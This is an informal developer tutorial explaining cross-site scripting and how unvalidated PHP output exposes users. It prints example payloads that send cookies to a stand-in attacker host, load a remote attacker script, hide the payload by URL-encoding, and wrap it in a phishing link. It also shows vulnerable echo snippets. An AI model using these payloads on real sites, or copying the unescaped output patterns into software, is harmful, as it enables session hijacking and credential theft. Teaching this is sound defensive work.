alert(“XSS”)
XSS? What is XSS? Well, to cut it short XSS is the abbreviation of Cross Site Scripting but the C have been replaced with X because CSS already means Cascaded Style Sheets plus XSS is a much cooler name ;) so what is XSS again? Well in more detail XSS is a very common vulnerability that may be existing right now in your very own web applications, so that’s why I have to come here to warn you about it. In a more simple words XSS is the ability of an attacker to inject code in your web page html and cause it to run on the user browser whenever s/he opens your page. This code might be html, java script or even worst like VBScript or ActiveX components that install trojans/worms on the user machine (but they will require the user to accept its installation first or they might use a known browser vulnerability to download them selves without the user being aware). So what can an attacker do if s/he founds an XSS security hole in your web application? Well, s/he can do a lot of things including but not limited to the following
· Stealing user cookies
· Stealing user sensitive data
· Redirecting the user to a phishing site that might delude him/her to supply his/her credentials to the attacker site
· Hijacking the user session
· Deluding the user into downloading trojans or worms onto his/her machine
· It could be even worst if your web application is running on an intranet which means the ability of the injected code to run in the trusted zone mode and this is really dangerous
So how XSS does look like?
Well, the simplest form of XSS is when code looks something like this
<?
echo $query;
?>
Yes it’s a one line of code but believe me it’s the worst of all as this PHP single line script function is to simply print the user input through the query parameters right into the browser without any validation or verification to the data that have been entered by the user, most developers would think what is wrong with that? Most developers don’t see a problem in forwarding the user input to the same user again as long it won’t be entered into a database or processed in any way. Most developers when they think about security they think that the users are always whom might be and might not be the enemy and there software is always is the attacked victim and they forget about that the users are on their side too and they also could be victims. Most of developers don’t see a problem in forwarding users input to them again as simply even if a user have typed in a malicious code it will get back to him and it will be something like shooting him self in the foot so why would users do that? And why the extra effort to validate the user input that is going back directly into the user browser again without any interaction with any critical components in the web application?
Well, all of these questions have a valid point of view “if” the user is the one whom is typing in a malicious code in the query string of this script. Let us consider this, a user getting a mail that having a link of your script that looks like this
http://host/script.php?query=<script>some malicious code</script>
And the user has just clicked this link with its crafted query string that would simply inject this code into the user browser to be executed on the user machine, this code might contain any thing and it will be executed without the user being aware of it and most of anti virus software won’t stop it.
This malicious code could look like this
http://host/script.php?query=<script>window.location = “http://atacker/logger.php?log=” + document.cookie</script>
So it would forward the user to the attacker host and send his/here cookies information to the attacker host where it’s logged for later user by the attacker so s/he could use these cookies to authenticate with your site with the identity of that user. The attacker could also redirect the user to a page with a page that looks exactly like your login page that is asking the user to supply their credentials so the attacker can log them in a database for later user. The attacker could even deceive the most suspicious users whom always check the current URL they are visiting by injecting the login page html content in the vulnerable page and ask the user to supply there credentials. The attacker can even inject in a bigger script files by doing this
http://host/script.php?query=<script src=”http://attacker/attackscript.js”>
So the attacker could inject in bigger scripts that can do worst things like submitting user GET or POST request with the same user credentials that might for example make a bank transaction or send some confidential data to the attacker it could even log the user requests and actions while using the vulnerable web page and send them back to the attacker using asynchronous java script http calls so the user won’t be aware of it.
But come on, that URL is so suspicious, no user would be stupid enough to click on it.
Well, that is a good point, but beside that most users don’t understand java script or don’t even care to interpret what is in the query string, most users would click this URL if it have been sent to them in a fake mail that is claiming that it’s coming from your site and it’s looking like this
<a href=”http://host/script.php?query=<script src=’http://attacker/attackscript.js’>”>Click Me</a>
Also the URL could be encoded to look like this
http://host/script.php?query=%3Cscript%20src%3D%u201Dhttp%3A%2F%2Fattacker%2Fattackscript.js%u201D%3E
So it would be impossible for even an experienced user to even have a grasp of what is going on.
All of this because of a none validated line of code, but where would this line of code exist in our day to day web applications?
Well it might in exist in code similar to this one
<?
echo "Sorry your search for $query did not return any results";
?>
or this code
<?
echo “<img src=\”$id.jpg\”>”;
?>
I think you got the idea.
I hope you liked this article and I’m all waiting for your feedback and your comments so they can help me in writing the next part of this article
Thanks for reading
